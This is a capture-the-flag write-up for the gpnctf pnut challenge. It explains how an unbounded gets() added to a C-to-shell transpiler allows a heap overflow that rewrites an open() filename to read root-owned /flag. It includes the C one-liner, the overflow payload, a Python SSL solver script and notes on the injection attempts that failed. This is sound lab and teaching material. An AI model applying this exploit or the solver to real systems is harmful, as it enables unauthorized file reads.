$ cat writeup.md…
$ cat writeup.md…
gpnctf
Task: submit one line of C compiled by the pnut C-to-POSIX-shell transpiler (MINIMAL_RUNTIME) and run as an unprivileged user; goal is to read root-owned /flag. Solution: the author added an unbounded gets() to the runtime, causing a heap overflow in pnut's `_N` bash-variable cell model; lay out an adjacent open() filename buffer right after the gets() target so the overflow writes '/flag', yielding arbitrary file read.
Finally a C compiler you can trust!
The player submits one line of C code. chal.sh compiles it with pnut-sh.sh
(the pnut transpiler that turns a large
subset of C99 into human-readable POSIX shell) and runs the resulting shell
script with bash, as the unprivileged user user. The goal is to read /flag.
The title is a pun: Paradise Nut = pnut, and "a C compiler you can trust" is a reference to Ken Thompson's Reflections on Trusting Trust — you actually can't trust this one.
# chal.sh #!/bin/bash printf 'Enter your C code on a single line.\n> ' bash <(./pnut-sh.sh <(head -n1))
# Dockerfile (key lines) FROM ubuntu:26.04 ARG FLAG=GPNCTF{fake_flag} RUN echo "$FLAG" > /flag RUN chmod 400 /flag # only root can read /flag RUN chmod u+s /usr/bin/nl # intended hard path: run `nl /flag` to win RUN useradd user USER user COPY pnut-sh.sh chal.sh ./ ENTRYPOINT [ "socat", "tcp-l:1337,reuseaddr,fork", "EXEC:./chal.sh,stderr" ]
Remote was served over SSL (ncat --ssl <host> 443).
The Dockerfile presents an intended hard path: /flag is chmod 400 root,
and /usr/bin/nl is SUID root, so the canonical win is nl /flag — which would
require command execution. As shown below, an arbitrary file read bypasses this
entirely.
pnut-sh.sh is ~6184 lines: the upstream pnut transpiler compiled to a single
POSIX shell script, built as the MINIMAL_RUNTIME variant, with exactly one
author-added function: _gets().
pnut emulates C memory in shell. Heap "cells" are bash variables named
_1, _2, _3, ... (each holds one integer). malloc is a simple bump
allocator over __ALLOC (with RT_FREE_UNSETS_VARS and size headers). Strings
are stored one byte (as an int) per cell.
Diffing the runtime against upstream sh-runtime.c (fetched from GitHub) confirmed
the sole addition is gets():
# It's a shame that upstream pnut does not support my favorite libc function _gets() { # $2: buffer read -r REPLY unpack_string_to_buf "$REPLY" "$2" 1 : $(($1 = $2)) }
unpack_string_to_buf copies the entire REPLY line (one runtime line of
attacker input from stdin) into the destination buffer with no length/bounds
check. In the _N cell model this is a classic heap buffer overflow: writing
past the malloc'd buffer overwrites the integer values of subsequent _N cells —
including the bytes of an adjacent malloc'd buffer.
Recording these so future solvers can reuse the elimination:
_print_escaped_char correctly escapes $, backtick, backslash, and
" (the only specials inside a double-quoted shell context) and emits
everything else as octal \NNN. Brute-tested printf("$(id)"),
printf("\id`")`, backslash combos — all safely escaped. DEAD._TEXT_STRING nodes (which pnut emits
unescaped). The C lexer _get_ident restricts identifiers to [A-Za-z0-9_],
so no shell metacharacters can reach a raw node. DEAD.case $1 in [[:alnum:]]) __c=$((__$1__)). This is normal upstream
pnut code (SH_INCLUDE_ALL_ALPHANUM_CHARACTERS), not an introduced bug. $1
is always a single byte (LC_ALL=C; unpack extracts one char via
${buf%"${buf#?}"}). Brute-tested all 256 byte values through gets — all safe.
The __X__ constants are readonly integers; even though bash does recursively
evaluate $((var)) and would execute $(cmd) embedded in a value, no
attacker-controlled string ever reaches a $(( )) context (all _N cells
only ever hold integers assigned via $(( ))). DEAD.#include "file.sh" raw-shell-include trick. Absent in this MINIMAL
build — _include_file only tokenizes includes as C. DEAD.printf/read/echo/exec-redirect builtins. The open() filename in
exec N< "$__res" is double-quoted, so no command-substitution injection.
DEAD.Conclusion: the only author-introduced bug is the unbounded gets(), and its
reachable primitive is arbitrary file read/write as user. The flag text
itself confirms the intended path: "libc GETS() FANs... REPLY is not blacklisted".
Turn the overflow into control over the filename passed to open(), giving
arbitrary file read as user.
Allocate the gets() target buffer immediately before a filename buffer, then
a large spacer:
char *b, *fn, *s; b = malloc(8); // gets() target fn = malloc(64); // filename for open() s = malloc(4000); // spacer: pushes __ALLOC past fn so _open()'s internal // malloc(1000) won't clobber fn
With the bump allocator (size headers, RT_FREE_UNSETS_VARS), the compiled output
places b at cell 1003 and fn at cell 1012, so fn is at offset
1012 - 1003 = 9 from b. A runtime line of ("A"*9 + "/flag") overflows b and
writes the path exactly at fn's cells; gets() appends a NUL terminator so
_put_pstr reconstructs the filename cleanly.
The spacer malloc(4000) matters: without it, _open()'s internal
_malloc __addr 1000 allocates at __ALLOC right after fn and overwrites the
tail of the filename (observed corruption like /etc/hosm0). Pushing __ALLOC
forward avoids this.
int main(){char*b;char*fn;char*s;b=malloc(8);fn=malloc(64);s=malloc(4000);fn[0]=88;fn[1]=0;gets(b);int fd;fd=open(fn,0,0);char*o;o=malloc(4000);int n;n=read(fd,o,1000);write(1,o,n);return 0;}
head -n1, compiled by pnut).AAAAAAAAA/flag (9 × A + /flag),
read by the compiled program via gets().The overflow sets fn = "/flag", open() succeeds (the deployed /flag was
readable by user — the chmod 400 + SUID nl was only the intended hard
path), then read() + write() dump the flag.
# Compile the C one-liner and run it sh ./pnut-sh.sh poc.c > poc.sh bash poc.sh # feed line 2 on stdin # Instrumented build printed malloc addresses to nail the offset: # b=1003, fn=1012, pad=9 # Validated arbitrary read locally by dumping /etc/hosts.
#!/usr/bin/env python3 import socket, ssl HOST, PORT = "CHALLENGE_HOST", 443 C_ONELINER = ( b"int main(){char*b;char*fn;char*s;" b"b=malloc(8);fn=malloc(64);s=malloc(4000);" b"fn[0]=88;fn[1]=0;gets(b);" b"int fd;fd=open(fn,0,0);" b"char*o;o=malloc(4000);" b"int n;n=read(fd,o,1000);write(1,o,n);return 0;}" ) PAYLOAD = b"A" * 9 + b"/flag" # offset 9 -> writes filename exactly at fn ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE raw = socket.create_connection((HOST, PORT)) s = ctx.wrap_socket(raw, server_hostname=HOST) print(s.recv(4096).decode(errors="replace")) # banner: "Enter your C code..." s.sendall(C_ONELINER + b"\n") # line 1: C source s.sendall(PAYLOAD + b"\n") # line 2: gets() overflow data = b"" while True: chunk = s.recv(4096) if not chunk: break data += chunk print(data.decode(errors="replace"))
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar